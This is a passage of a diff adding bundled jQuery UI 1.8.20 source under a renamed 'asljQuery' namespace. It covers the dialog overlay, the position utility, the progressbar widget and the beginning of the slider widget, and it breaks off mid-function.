+ if (value) {
9410
+ uiDialog.addClass('ui-dialog-disabled');
9411
+ } else {
9412
+ uiDialog.removeClass('ui-dialog-disabled');
9413
+ }
9414
+ break;
9415
+ case "draggable":
9416
+ var isDraggable = uiDialog.is( ":data(draggable)" );
9417
+ if ( isDraggable && !value ) {
9418
+ uiDialog.draggable( "destroy" );
9419
+ }
9420
+
9421
+ if ( !isDraggable && value ) {
9422
+ self._makeDraggable();
9423
+ }
9424
+ break;
9425
+ case "position":
9426
+ self._position(value);
9427
+ break;
9428
+ case "resizable":
9429
+ // currently resizable, becoming non-resizable
9430
+ var isResizable = uiDialog.is( ":data(resizable)" );
9431
+ if (isResizable && !value) {
9432
+ uiDialog.resizable('destroy');
9433
+ }
9434
+
9435
+ // currently resizable, changing handles
9436
+ if (isResizable && typeof value === 'string') {
9437
+ uiDialog.resizable('option', 'handles', value);
9438
+ }
9439
+
9440
+ // currently non-resizable, becoming resizable
9441
+ if (!isResizable && value !== false) {
9442
+ self._makeResizable(value);
9443
+ }
9444
+ break;
9445
+ case "title":
9446
+ // convert whatever was passed in o a string, for html() to not throw up
9447
+ $(".ui-dialog-title", self.uiDialogTitlebar).html("" + (value || '&#160;'));
9448
+ break;
9449
+ }
9450
+
9451
+ $.Widget.prototype._setOption.apply(self, arguments);
9452
+ },
9453
+
9454
+ _size: function() {
9455
+ /* If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
9456
+ * divs will both have width and height set, so we need to reset them
9457
+ */
9458
+ var options = this.options,
9459
+ nonContentHeight,
9460
+ minContentHeight,
9461
+ isVisible = this.uiDialog.is( ":visible" );
9462
+
9463
+ // reset content sizing
9464
+ this.element.show().css({
9465
+ width: 'auto',
9466
+ minHeight: 0,
9467
+ height: 0
9468
+ });
9469
+
9470
+ if (options.minWidth > options.width) {
9471
+ options.width = options.minWidth;
9472
+ }
9473
+
9474
+ // reset wrapper sizing
9475
+ // determine the height of all the non-content elements
9476
+ nonContentHeight = this.uiDialog.css({
9477
+ height: 'auto',
9478
+ width: options.width
9479
+ })
9480
+ .height();
9481
+ minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
9482
+
9483
+ if ( options.height === "auto" ) {
9484
+ // only needed for IE6 support
9485
+ if ( $.support.minHeight ) {
9486
+ this.element.css({
9487
+ minHeight: minContentHeight,
9488
+ height: "auto"
9489
+ });
9490
+ } else {
9491
+ this.uiDialog.show();
9492
+ var autoHeight = this.element.css( "height", "auto" ).height();
9493
+ if ( !isVisible ) {
9494
+ this.uiDialog.hide();
9495
+ }
9496
+ this.element.height( Math.max( autoHeight, minContentHeight ) );
9497
+ }
9498
+ } else {
9499
+ this.element.height( Math.max( options.height - nonContentHeight, 0 ) );
9500
+ }
9501
+
9502
+ if (this.uiDialog.is(':data(resizable)')) {
9503
+ this.uiDialog.resizable('option', 'minHeight', this._minHeight());
9504
+ }
9505
+ }
9506
+ });
9507
+
9508
+ $.extend($.ui.dialog, {
9509
+ version: "1.8.20",
9510
+
9511
+ uuid: 0,
9512
+ maxZ: 0,
9513
+
9514
+ getTitleId: function($el) {
9515
+ var id = $el.attr('id');
9516
+ if (!id) {
9517
+ this.uuid += 1;
9518
+ id = this.uuid;
9519
+ }
9520
+ return 'ui-dialog-title-' + id;
9521
+ },
9522
+
9523
+ overlay: function(dialog) {
9524
+ this.$el = $.ui.dialog.overlay.create(dialog);
9525
+ }
9526
+ });
9527
+
9528
+ $.extend($.ui.dialog.overlay, {
9529
+ instances: [],
9530
+ // reuse old instances due to IE memory leak with alpha transparency (see #5185)
9531
+ oldInstances: [],
9532
+ maxZ: 0,
9533
+ events: $.map('focus,mousedown,mouseup,keydown,keypress,click'.split(','),
9534
+ function(event) { return event + '.dialog-overlay'; }).join(' '),
9535
+ create: function(dialog) {
9536
+ if (this.instances.length === 0) {
9537
+ // prevent use of anchors and inputs
9538
+ // we use a setTimeout in case the overlay is created from an
9539
+ // event that we're going to be cancelling (see #2804)
9540
+ setTimeout(function() {
9541
+ // handle $(el).dialog().dialog('close') (see #4065)
9542
+ if ($.ui.dialog.overlay.instances.length) {
9543
+ $(document).bind($.ui.dialog.overlay.events, function(event) {
9544
+ // stop events if the z-index of the target is < the z-index of the overlay
9545
+ // we cannot return true when we don't want to cancel the event (#3523)
9546
+ if ($(event.target).zIndex() < $.ui.dialog.overlay.maxZ) {
9547
+ return false;
9548
+ }
9549
+ });
9550
+ }
9551
+ }, 1);
9552
+
9553
+ // allow closing by pressing the escape key
9554
+ $(document).bind('keydown.dialog-overlay', function(event) {
9555
+ if (dialog.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
9556
+ event.keyCode === $.ui.keyCode.ESCAPE) {
9557
+
9558
+ dialog.close(event);
9559
+ event.preventDefault();
9560
+ }
9561
+ });
9562
+
9563
+ // handle window resize
9564
+ $(window).bind('resize.dialog-overlay', $.ui.dialog.overlay.resize);
9565
+ }
9566
+
9567
+ var $el = (this.oldInstances.pop() || $('<div></div>').addClass('ui-widget-overlay'))
9568
+ .appendTo(document.body)
9569
+ .css({
9570
+ width: this.width(),
9571
+ height: this.height()
9572
+ });
9573
+
9574
+ if ($.fn.bgiframe) {
9575
+ $el.bgiframe();
9576
+ }
9577
+
9578
+ this.instances.push($el);
9579
+ return $el;
9580
+ },
9581
+
9582
+ destroy: function($el) {
9583
+ var indexOf = $.inArray($el, this.instances);
9584
+ if (indexOf != -1){
9585
+ this.oldInstances.push(this.instances.splice(indexOf, 1)[0]);
9586
+ }
9587
+
9588
+ if (this.instances.length === 0) {
9589
+ $([document, window]).unbind('.dialog-overlay');
9590
+ }
9591
+
9592
+ $el.remove();
9593
+
9594
+ // adjust the maxZ to allow other modal dialogs to continue to work (see #4309)
9595
+ var maxZ = 0;
9596
+ $.each(this.instances, function() {
9597
+ maxZ = Math.max(maxZ, this.css('z-index'));
9598
+ });
9599
+ this.maxZ = maxZ;
9600
+ },
9601
+
9602
+ height: function() {
9603
+ var scrollHeight,
9604
+ offsetHeight;
9605
+ // handle IE 6
9606
+ if ($.browser.msie && $.browser.version < 7) {
9607
+ scrollHeight = Math.max(
9608
+ document.documentElement.scrollHeight,
9609
+ document.body.scrollHeight
9610
+ );
9611
+ offsetHeight = Math.max(
9612
+ document.documentElement.offsetHeight,
9613
+ document.body.offsetHeight
9614
+ );
9615
+
9616
+ if (scrollHeight < offsetHeight) {
9617
+ return $(window).height() + 'px';
9618
+ } else {
9619
+ return scrollHeight + 'px';
9620
+ }
9621
+ // handle "good" browsers
9622
+ } else {
9623
+ return $(document).height() + 'px';
9624
+ }
9625
+ },
9626
+
9627
+ width: function() {
9628
+ var scrollWidth,
9629
+ offsetWidth;
9630
+ // handle IE
9631
+ if ( $.browser.msie ) {
9632
+ scrollWidth = Math.max(
9633
+ document.documentElement.scrollWidth,
9634
+ document.body.scrollWidth
9635
+ );
9636
+ offsetWidth = Math.max(
9637
+ document.documentElement.offsetWidth,
9638
+ document.body.offsetWidth
9639
+ );
9640
+
9641
+ if (scrollWidth < offsetWidth) {
9642
+ return $(window).width() + 'px';
9643
+ } else {
9644
+ return scrollWidth + 'px';
9645
+ }
9646
+ // handle "good" browsers
9647
+ } else {
9648
+ return $(document).width() + 'px';
9649
+ }
9650
+ },
9651
+
9652
+ resize: function() {
9653
+ /* If the dialog is draggable and the user drags it past the
9654
+ * right edge of the window, the document becomes wider so we
9655
+ * need to stretch the overlay. If the user then drags the
9656
+ * dialog back to the left, the document will become narrower,
9657
+ * so we need to shrink the overlay to the appropriate size.
9658
+ * This is handled by shrinking the overlay before setting it
9659
+ * to the full document size.
9660
+ */
9661
+ var $overlays = $([]);
9662
+ $.each($.ui.dialog.overlay.instances, function() {
9663
+ $overlays = $overlays.add(this);
9664
+ });
9665
+
9666
+ $overlays.css({
9667
+ width: 0,
9668
+ height: 0
9669
+ }).css({
9670
+ width: $.ui.dialog.overlay.width(),
9671
+ height: $.ui.dialog.overlay.height()
9672
+ });
9673
+ }
9674
+ });
9675
+
9676
+ $.extend($.ui.dialog.overlay.prototype, {
9677
+ destroy: function() {
9678
+ $.ui.dialog.overlay.destroy(this.$el);
9679
+ }
9680
+ });
9681
+
9682
+ }(asljQuery));
9683
+
9684
+ (function( $, undefined ) {
9685
+
9686
+ $.ui = $.ui || {};
9687
+
9688
+ var horizontalPositions = /left|center|right/,
9689
+ verticalPositions = /top|center|bottom/,
9690
+ center = "center",
9691
+ support = {},
9692
+ _position = $.fn.position,
9693
+ _offset = $.fn.offset;
9694
+
9695
+ $.fn.position = function( options ) {
9696
+ if ( !options || !options.of ) {
9697
+ return _position.apply( this, arguments );
9698
+ }
9699
+
9700
+ // make a copy, we don't want to modify arguments
9701
+ options = $.extend( {}, options );
9702
+
9703
+ var target = $( options.of ),
9704
+ targetElem = target[0],
9705
+ collision = ( options.collision || "flip" ).split( " " ),
9706
+ offset = options.offset ? options.offset.split( " " ) : [ 0, 0 ],
9707
+ targetWidth,
9708
+ targetHeight,
9709
+ basePosition;
9710
+
9711
+ if ( targetElem.nodeType === 9 ) {
9712
+ targetWidth = target.width();
9713
+ targetHeight = target.height();
9714
+ basePosition = { top: 0, left: 0 };
9715
+ // TODO: use $.isWindow() in 1.9
9716
+ } else if ( targetElem.setTimeout ) {
9717
+ targetWidth = target.width();
9718
+ targetHeight = target.height();
9719
+ basePosition = { top: target.scrollTop(), left: target.scrollLeft() };
9720
+ } else if ( targetElem.preventDefault ) {
9721
+ // force left top to allow flipping
9722
+ options.at = "left top";
9723
+ targetWidth = targetHeight = 0;
9724
+ basePosition = { top: options.of.pageY, left: options.of.pageX };
9725
+ } else {
9726
+ targetWidth = target.outerWidth();
9727
+ targetHeight = target.outerHeight();
9728
+ basePosition = target.offset();
9729
+ }
9730
+
9731
+ // force my and at to have valid horizontal and veritcal positions
9732
+ // if a value is missing or invalid, it will be converted to center
9733
+ $.each( [ "my", "at" ], function() {
9734
+ var pos = ( options[this] || "" ).split( " " );
9735
+ if ( pos.length === 1) {
9736
+ pos = horizontalPositions.test( pos[0] ) ?
9737
+ pos.concat( [center] ) :
9738
+ verticalPositions.test( pos[0] ) ?
9739
+ [ center ].concat( pos ) :
9740
+ [ center, center ];
9741
+ }
9742
+ pos[ 0 ] = horizontalPositions.test( pos[0] ) ? pos[ 0 ] : center;
9743
+ pos[ 1 ] = verticalPositions.test( pos[1] ) ? pos[ 1 ] : center;
9744
+ options[ this ] = pos;
9745
+ });
9746
+
9747
+ // normalize collision option
9748
+ if ( collision.length === 1 ) {
9749
+ collision[ 1 ] = collision[ 0 ];
9750
+ }
9751
+
9752
+ // normalize offset option
9753
+ offset[ 0 ] = parseInt( offset[0], 10 ) || 0;
9754
+ if ( offset.length === 1 ) {
9755
+ offset[ 1 ] = offset[ 0 ];
9756
+ }
9757
+ offset[ 1 ] = parseInt( offset[1], 10 ) || 0;
9758
+
9759
+ if ( options.at[0] === "right" ) {
9760
+ basePosition.left += targetWidth;
9761
+ } else if ( options.at[0] === center ) {
9762
+ basePosition.left += targetWidth / 2;
9763
+ }
9764
+
9765
+ if ( options.at[1] === "bottom" ) {
9766
+ basePosition.top += targetHeight;
9767
+ } else if ( options.at[1] === center ) {
9768
+ basePosition.top += targetHeight / 2;
9769
+ }
9770
+
9771
+ basePosition.left += offset[ 0 ];
9772
+ basePosition.top += offset[ 1 ];
9773
+
9774
+ return this.each(function() {
9775
+ var elem = $( this ),
9776
+ elemWidth = elem.outerWidth(),
9777
+ elemHeight = elem.outerHeight(),
9778
+ marginLeft = parseInt( $.curCSS( this, "marginLeft", true ) ) || 0,
9779
+ marginTop = parseInt( $.curCSS( this, "marginTop", true ) ) || 0,
9780
+ collisionWidth = elemWidth + marginLeft +
9781
+ ( parseInt( $.curCSS( this, "marginRight", true ) ) || 0 ),
9782
+ collisionHeight = elemHeight + marginTop +
9783
+ ( parseInt( $.curCSS( this, "marginBottom", true ) ) || 0 ),
9784
+ position = $.extend( {}, basePosition ),
9785
+ collisionPosition;
9786
+
9787
+ if ( options.my[0] === "right" ) {
9788
+ position.left -= elemWidth;
9789
+ } else if ( options.my[0] === center ) {
9790
+ position.left -= elemWidth / 2;
9791
+ }
9792
+
9793
+ if ( options.my[1] === "bottom" ) {
9794
+ position.top -= elemHeight;
9795
+ } else if ( options.my[1] === center ) {
9796
+ position.top -= elemHeight / 2;
9797
+ }
9798
+
9799
+ // prevent fractions if jQuery version doesn't support them (see #5280)
9800
+ if ( !support.fractions ) {
9801
+ position.left = Math.round( position.left );
9802
+ position.top = Math.round( position.top );
9803
+ }
9804
+
9805
+ collisionPosition = {
9806
+ left: position.left - marginLeft,
9807
+ top: position.top - marginTop
9808
+ };
9809
+
9810
+ $.each( [ "left", "top" ], function( i, dir ) {
9811
+ if ( $.ui.position[ collision[i] ] ) {
9812
+ $.ui.position[ collision[i] ][ dir ]( position, {
9813
+ targetWidth: targetWidth,
9814
+ targetHeight: targetHeight,
9815
+ elemWidth: elemWidth,
9816
+ elemHeight: elemHeight,
9817
+ collisionPosition: collisionPosition,
9818
+ collisionWidth: collisionWidth,
9819
+ collisionHeight: collisionHeight,
9820
+ offset: offset,
9821
+ my: options.my,
9822
+ at: options.at
9823
+ });
9824
+ }
9825
+ });
9826
+
9827
+ if ( $.fn.bgiframe ) {
9828
+ elem.bgiframe();
9829
+ }
9830
+ elem.offset( $.extend( position, { using: options.using } ) );
9831
+ });
9832
+ };
9833
+
9834
+ $.ui.position = {
9835
+ fit: {
9836
+ left: function( position, data ) {
9837
+ var win = $( window ),
9838
+ over = data.collisionPosition.left + data.collisionWidth - win.width() - win.scrollLeft();
9839
+ position.left = over > 0 ? position.left - over : Math.max( position.left - data.collisionPosition.left, position.left );
9840
+ },
9841
+ top: function( position, data ) {
9842
+ var win = $( window ),
9843
+ over = data.collisionPosition.top + data.collisionHeight - win.height() - win.scrollTop();
9844
+ position.top = over > 0 ? position.top - over : Math.max( position.top - data.collisionPosition.top, position.top );
9845
+ }
9846
+ },
9847
+
9848
+ flip: {
9849
+ left: function( position, data ) {
9850
+ if ( data.at[0] === center ) {
9851
+ return;
9852
+ }
9853
+ var win = $( window ),
9854
+ over = data.collisionPosition.left + data.collisionWidth - win.width() - win.scrollLeft(),
9855
+ myOffset = data.my[ 0 ] === "left" ?
9856
+ -data.elemWidth :
9857
+ data.my[ 0 ] === "right" ?
9858
+ data.elemWidth :
9859
+ 0,
9860
+ atOffset = data.at[ 0 ] === "left" ?
9861
+ data.targetWidth :
9862
+ -data.targetWidth,
9863
+ offset = -2 * data.offset[ 0 ];
9864
+ position.left += data.collisionPosition.left < 0 ?
9865
+ myOffset + atOffset + offset :
9866
+ over > 0 ?
9867
+ myOffset + atOffset + offset :
9868
+ 0;
9869
+ },
9870
+ top: function( position, data ) {
9871
+ if ( data.at[1] === center ) {
9872
+ return;
9873
+ }
9874
+ var win = $( window ),
9875
+ over = data.collisionPosition.top + data.collisionHeight - win.height() - win.scrollTop(),
9876
+ myOffset = data.my[ 1 ] === "top" ?
9877
+ -data.elemHeight :
9878
+ data.my[ 1 ] === "bottom" ?
9879
+ data.elemHeight :
9880
+ 0,
9881
+ atOffset = data.at[ 1 ] === "top" ?
9882
+ data.targetHeight :
9883
+ -data.targetHeight,
9884
+ offset = -2 * data.offset[ 1 ];
9885
+ position.top += data.collisionPosition.top < 0 ?
9886
+ myOffset + atOffset + offset :
9887
+ over > 0 ?
9888
+ myOffset + atOffset + offset :
9889
+ 0;
9890
+ }
9891
+ }
9892
+ };
9893
+
9894
+ // offset setter from jQuery 1.4
9895
+ if ( !$.offset.setOffset ) {
9896
+ $.offset.setOffset = function( elem, options ) {
9897
+ // set position first, in-case top/left are set even on static elem
9898
+ if ( /static/.test( $.curCSS( elem, "position" ) ) ) {
9899
+ elem.style.position = "relative";
9900
+ }
9901
+ var curElem = $( elem ),
9902
+ curOffset = curElem.offset(),
9903
+ curTop = parseInt( $.curCSS( elem, "top", true ), 10 ) || 0,
9904
+ curLeft = parseInt( $.curCSS( elem, "left", true ), 10) || 0,
9905
+ props = {
9906
+ top: (options.top - curOffset.top) + curTop,
9907
+ left: (options.left - curOffset.left) + curLeft
9908
+ };
9909
+
9910
+ if ( 'using' in options ) {
9911
+ options.using.call( elem, props );
9912
+ } else {
9913
+ curElem.css( props );
9914
+ }
9915
+ };
9916
+
9917
+ $.fn.offset = function( options ) {
9918
+ var elem = this[ 0 ];
9919
+ if ( !elem || !elem.ownerDocument ) { return null; }
9920
+ if ( options ) {
9921
+ return this.each(function() {
9922
+ $.offset.setOffset( this, options );
9923
+ });
9924
+ }
9925
+ return _offset.call( this );
9926
+ };
9927
+ }
9928
+
9929
+ // fraction support test (older versions of jQuery don't support fractions)
9930
+ (function () {
9931
+ var body = document.getElementsByTagName( "body" )[ 0 ],
9932
+ div = document.createElement( "div" ),
9933
+ testElement, testElementParent, testElementStyle, offset, offsetTotal;
9934
+
9935
+ //Create a "fake body" for testing based on method used in jQuery.support
9936
+ testElement = document.createElement( body ? "div" : "body" );
9937
+ testElementStyle = {
9938
+ visibility: "hidden",
9939
+ width: 0,
9940
+ height: 0,
9941
+ border: 0,
9942
+ margin: 0,
9943
+ background: "none"
9944
+ };
9945
+ if ( body ) {
9946
+ $.extend( testElementStyle, {
9947
+ position: "absolute",
9948
+ left: "-1000px",
9949
+ top: "-1000px"
9950
+ });
9951
+ }
9952
+ for ( var i in testElementStyle ) {
9953
+ testElement.style[ i ] = testElementStyle[ i ];
9954
+ }
9955
+ testElement.appendChild( div );
9956
+ testElementParent = body || document.documentElement;
9957
+ testElementParent.insertBefore( testElement, testElementParent.firstChild );
9958
+
9959
+ div.style.cssText = "position: absolute; left: 10.7432222px; top: 10.432325px; height: 30px; width: 201px;";
9960
+
9961
+ offset = $( div ).offset( function( _, offset ) {
9962
+ return offset;
9963
+ }).offset();
9964
+
9965
+ testElement.innerHTML = "";
9966
+ testElementParent.removeChild( testElement );
9967
+
9968
+ offsetTotal = offset.top + offset.left + ( body ? 2000 : 0 );
9969
+ support.fractions = offsetTotal > 21 && offsetTotal < 22;
9970
+ })();
9971
+
9972
+ }(asljQuery));
9973
+
9974
+ (function( $, undefined ) {
9975
+
9976
+ $.widget( "ui.progressbar", {
9977
+ options: {
9978
+ value: 0,
9979
+ max: 100
9980
+ },
9981
+
9982
+ min: 0,
9983
+
9984
+ _create: function() {
9985
+ this.element
9986
+ .addClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
9987
+ .attr({
9988
+ role: "progressbar",
9989
+ "aria-valuemin": this.min,
9990
+ "aria-valuemax": this.options.max,
9991
+ "aria-valuenow": this._value()
9992
+ });
9993
+
9994
+ this.valueDiv = $( "<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>" )
9995
+ .appendTo( this.element );
9996
+
9997
+ this.oldValue = this._value();
9998
+ this._refreshValue();
9999
+ },
10000
+
10001
+ destroy: function() {
10002
+ this.element
10003
+ .removeClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
10004
+ .removeAttr( "role" )
10005
+ .removeAttr( "aria-valuemin" )
10006
+ .removeAttr( "aria-valuemax" )
10007
+ .removeAttr( "aria-valuenow" );
10008
+
10009
+ this.valueDiv.remove();
10010
+
10011
+ $.Widget.prototype.destroy.apply( this, arguments );
10012
+ },
10013
+
10014
+ value: function( newValue ) {
10015
+ if ( newValue === undefined ) {
10016
+ return this._value();
10017
+ }
10018
+
10019
+ this._setOption( "value", newValue );
10020
+ return this;
10021
+ },
10022
+
10023
+ _setOption: function( key, value ) {
10024
+ if ( key === "value" ) {
10025
+ this.options.value = value;
10026
+ this._refreshValue();
10027
+ if ( this._value() === this.options.max ) {
10028
+ this._trigger( "complete" );
10029
+ }
10030
+ }
10031
+
10032
+ $.Widget.prototype._setOption.apply( this, arguments );
10033
+ },
10034
+
10035
+ _value: function() {
10036
+ var val = this.options.value;
10037
+ // normalize invalid value
10038
+ if ( typeof val !== "number" ) {
10039
+ val = 0;
10040
+ }
10041
+ return Math.min( this.options.max, Math.max( this.min, val ) );
10042
+ },
10043
+
10044
+ _percentage: function() {
10045
+ return 100 * this._value() / this.options.max;
10046
+ },
10047
+
10048
+ _refreshValue: function() {
10049
+ var value = this.value();
10050
+ var percentage = this._percentage();
10051
+
10052
+ if ( this.oldValue !== value ) {
10053
+ this.oldValue = value;
10054
+ this._trigger( "change" );
10055
+ }
10056
+
10057
+ this.valueDiv
10058
+ .toggle( value > this.min )
10059
+ .toggleClass( "ui-corner-right", value === this.options.max )
10060
+ .width( percentage.toFixed(0) + "%" );
10061
+ this.element.attr( "aria-valuenow", value );
10062
+ }
10063
+ });
10064
+
10065
+ $.extend( $.ui.progressbar, {
10066
+ version: "1.8.20"
10067
+ });
10068
+
10069
+ })(asljQuery);
10070
+
10071
+ (function( $, undefined ) {
10072
+
10073
+ // number of pages in a slider
10074
+ // (how many times can you page up/down to go through the whole range)
10075
+ var numPages = 5;
10076
+
10077
+ $.widget( "ui.slider", $.ui.mouse, {
10078
+
10079
+ widgetEventPrefix: "slide",
10080
+
10081
+ options: {
10082
+ animate: false,
10083
+ distance: 0,
10084
+ max: 100,
10085
+ min: 0,
10086
+ orientation: "horizontal",
10087
+ range: false,
10088
+ step: 1,
10089
+ value: 0,
10090
+ values: null
10091
+ },
10092
+
10093
+ _create: function() {
10094
+ var self = this,
10095
+ o = this.options,
10096
+ existingHandles = this.element.find( ".ui-slider-handle" ).addClass( "ui-state-default ui-corner-all" ),
10097
+ handle = "<a class='ui-slider-handle ui-state-default ui-corner-all' href='#'></a>",
10098
+ handleCount = ( o.values && o.values.length ) || 1,
10099
+ handles = [];
10100
+
10101
+ this._keySliding = false;
10102
+ this._mouseSliding = false;
10103
+ this._animateOff = true;
10104
+ this._handleIndex = null;
10105
+ this._detectOrientation();
10106
+ this._mouseInit();
10107
+
10108
+ this.element
10109
+ .addClass( "ui-slider" +
10110
+ " ui-slider-" + this.orientation +
10111
+ " ui-widget" +
10112
+ " ui-widget-content" +
10113
+ " ui-corner-all" +
10114
+ ( o.disabled ? " ui-slider-disabled ui-disabled" : "" ) );
10115
+
10116
+ this.range = $([]);
10117
+
10118
+ if ( o.range ) {
10119
+ if ( o.range === true ) {
10120
+ if ( !o.values ) {
10121
+ o.values = [ this._valueMin(), this._valueMin() ];
10122
+ }
10123
+ if ( o.values.length && o.values.length !== 2 ) {
10124
+ o.values = [ o.values[0], o.values[0] ];
10125
+ }
10126
+ }
10127
+
10128
+ this.range = $( "<div></div>" )
10129
+ .appendTo( this.element )
10130
+ .addClass( "ui-slider-range" +
10131
+ // note: this isn't the most fittingly semantic framework class for this element,
10132
+ // but worked best visually with a variety of themes
10133
+ " ui-widget-header" +
10134
+ ( ( o.range === "min" || o.range === "max" ) ? " ui-slider-range-" + o.range : "" ) );
10135
+ }
10136
+
10137
+ for ( var i = existingHandles.length; i < handleCount; i += 1 ) {
10138
+ handles.push( handle );
10139
+ }
10140
+
10141
+ this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( self.element ) );
10142
+
10143
+ this.handle = this.handles.eq( 0 );
10144
+
10145
+ this.handles.add( this.range ).filter( "a" )
10146
+ .click(function( event ) {
10147
+ event.preventDefault();
10148
+ })
10149
+ .hover(function() {
10150
+ if ( !o.disabled ) {
10151
+ $( this ).addClass( "ui-state-hover" );
10152
+ }
10153
+ }, function() {
10154
+ $( this ).removeClass( "ui-state-hover" );
10155
+ })
10156
+ .focus(function() {
10157
+ if ( !o.disabled ) {
10158
+ $( ".ui-slider .ui-state-focus" ).removeClass( "ui-state-focus" );
10159
+ $( this ).addClass( "ui-state-focus" );
10160
+ } else {
10161
+ $( this ).blur();
10162
+ }
10163
+ })
10164
+ .blur(function() {
10165
+ $( this ).removeClass( "ui-state-focus" );
10166
+ });
10167
+
10168
+ this.handles.each(function( i ) {
10169
+ $( this ).data( "index.ui-slider-handle", i );
10170
+ });
10171
+
10172
+ this.handles
10173
+ .keydown(function( event ) {
10174
+ var index = $( this ).data( "index.ui-slider-handle" ),
10175
+ allowed,
10176
+ curVal,
10177
+ newVal,
10178
+ step;
10179
+
10180
+ if ( self.options.disabled ) {
10181
+ return;
10182
+ }
10183
+
10184
+ switch ( event.keyCode ) {
10185
+ case $.ui.keyCode.HOME:
10186
+ case $.ui.keyCode.END:
10187
+ case $.ui.keyCode.PAGE_UP:
10188
+ case $.ui.keyCode.PAGE_DOWN:
10189
+ case $.ui.keyCode.UP:
10190
+ case $.ui.keyCode.RIGHT:
10191
+ case $.ui.keyCode.DOWN:
10192
+ case $.ui.keyCode.LEFT:
10193
+ event.preventDefault();
10194
+ if ( !self._keySliding ) {
10195
+ self._keySliding = true;
10196
+ $( this ).addClass( "ui-state-active" );
10197
+ allowed = self._start( event, index );
10198
+ if ( allowed === false ) {
10199
+ return;
10200
+ }
10201
+ }
10202
+ break;
10203
+ }
10204
+
10205
+ step = self.options.step;
10206
+ if ( self.options.values && self.options.values.length ) {
10207
+ curVal = newVal = self.values( index );
10208
+ } else {
10209
+ curVal = newVal = self.value();
10210
+ }
10211
+
10212
+ switch ( event.keyCode ) {
10213
+ case $.ui.keyCode.HOME:
10214
+ newVal = self._valueMin();
10215
+ break;
10216
+ case $.ui.keyCode.END:
10217
+ newVal = self._valueMax();
10218
+ break;
10219
+ case $.ui.keyCode.PAGE_UP:
10220
+ newVal = self._trimAlignValue( curVal + ( (self._valueMax() - self._valueMin()) / numPages ) );
10221
+ break;
10222
+ case $.ui.keyCode.PAGE_DOWN:
10223
+ newVal = self._trimAlignValue( curVal - ( (self._valueMax() - self._valueMin()) / numPages ) );
10224
+ break;
10225
+ case $.ui.keyCode.UP:
10226
+ case $.ui.keyCode.RIGHT:
10227
+ if ( curVal === self._valueMax() ) {
10228
+ return;
10229
+ }
10230
+ newVal = self._trimAlignValue( curVal + step );
10231
+ break;
10232
+ case $.ui.keyCode.DOWN:
10233
+ case $.ui.keyCode.LEFT:
10234
+ if ( curVal === self._valueMin() ) {
10235
+ return;
10236
+ }
10237
+ newVal = self._trimAlignValue( curVal - step );
10238
+ break;
10239
+ }
10240
+
10241
+ self._slide( event, index, newVal );
10242
+ })
10243
+ .keyup(function( event ) {
10244
+ var index = $( this ).data( "index.ui-slider-handle" );
10245
+
10246
+ if ( self._keySliding ) {
10247
+ self._keySliding = false;
10248
+ self._stop( event, index );
10249
+ self._change( event, index );
10250
+ $( this ).removeClass( "ui-state-active" );
10251
+ }
10252
+
10253
+ });
10254
+
10255
+ this._refreshValue();
10256
+
10257
+ this._animateOff = false;
10258
+ },
10259
+
10260
+ destroy: function() {
10261
+ this.handles.remove();
10262
+ this.range.remove();
10263
+
10264
+ this.element
10265
+ .removeClass( "ui-slider" +
10266
+ " ui-slider-horizontal" +
10267
+ " ui-slider-vertical" +
10268
+ " ui-slider-disabled" +
10269
+ " ui-widget" +
10270
+ " ui-widget-content" +
10271
+ " ui-corner-all" )
10272
+ .removeData( "slider" )
10273
+ .unbind( ".slider" );
10274
+
10275
+ this._mouseDestroy();
10276
+
10277
+ return this;
10278
+ },
10279
+
10280
+ _mouseCapture: function( event ) {
10281
+ var o = this.options,
10282
+ position,
10283
+ normValue,
10284
+ distance,
10285
+ closestHandle,
10286
+ self,
10287
+ index,
10288
+ allowed,
10289
+ offset,
10290
+ mouseOverHandle;
10291
+
10292
+ if ( o.disabled ) {
10293
+ return false;
10294
+ }
10295
+
10296
+ this.elementSize = {
10297
+ width: this.element.outerWidth(),
10298
+ height: this.element.outerHeight()
10299
+ };
10300
+ this.elementOffset = this.element.offset();
10301
+
10302
+ position = { x: event.pageX, y: event.pageY };
10303
+ normValue = this._normValueFromMouse( position );
10304
+ distance = this._valueMax() - this._valueMin() + 1;
10305
+ self = this;
10306
+ this.handles.each(function( i ) {
10307
+ var thisDistance = Math.abs( normValue - self.values(i) );
10308
+ if ( distance > thisDistance ) {
10309
+ distance = thisDistance;
10310
+ closestHandle = $( this );
10311
+ index = i;
10312
+ }
10313
+ });
10314
+
10315
+ // workaround for bug #3736 (if both handles of a range are at 0,
10316
+ // the first is always used as the one with least distance,
10317
+ // and moving it is obviously prevented by preventing negative ranges)
10318
+ if( o.range === true && this.values(1) === o.min ) {
10319
+ index += 1;
10320
+ closestHandle = $( this.handles[index] );
10321
+ }
10322
+
10323
+ allowed = this._start( event, index );
10324
+ if ( allowed === false ) {
10325
+ return false;
10326
+ }
10327
+ this._mouseSliding = true;
10328
+
10329
+ self._handleIndex = index;
10330
+
10331
+ closestHandle
10332
+ .addClass( "ui-state-active" )
10333
+ .focus();
10334
+
10335
+ offset = closestHandle.offset();
10336
+ mouseOverHandle = !$( event.target ).parents().andSelf().is( ".ui-slider-handle" );
10337
+ this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
10338
+ left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
10339
+ top: event.pageY - offset.top -
10340
+ ( closestHandle.height() / 2 ) -
10341
+ ( parseInt( closestHandle.css("borderTopWidth"), 10 ) || 0 ) -
10342
+ ( parseInt( closestHandle.css("borderBottomWidth"), 10 ) || 0) +
10343
+ ( parseInt( closestHandle.css("marginTop"), 10 ) || 0)
10344
+ };
10345
+
10346
+ if ( !this.handles.hasClass( "ui-state-hover" ) ) {
10347
+ this._slide( event, index, normValue );
10348
+ }
10349
+ this._animateOff = true;
10350
+ return true;
10351
+ },
10352
+
10353
+ _mouseStart: function( event ) {
10354
+ return true;
10355
+ },
10356
+
10357
+ _mouseDrag: function( event ) {
10358
+ var position = { x: event.pageX, y: event.pageY },
10359
+ normValue = this._normValueFromMouse( position );
10360
+
10361
+ this._slide( event, this._handleIndex, normValue );
10362
+
10363
+ return false;
10364
+ },
10365
+
10366
+ _mouseStop: function( event ) {
10367
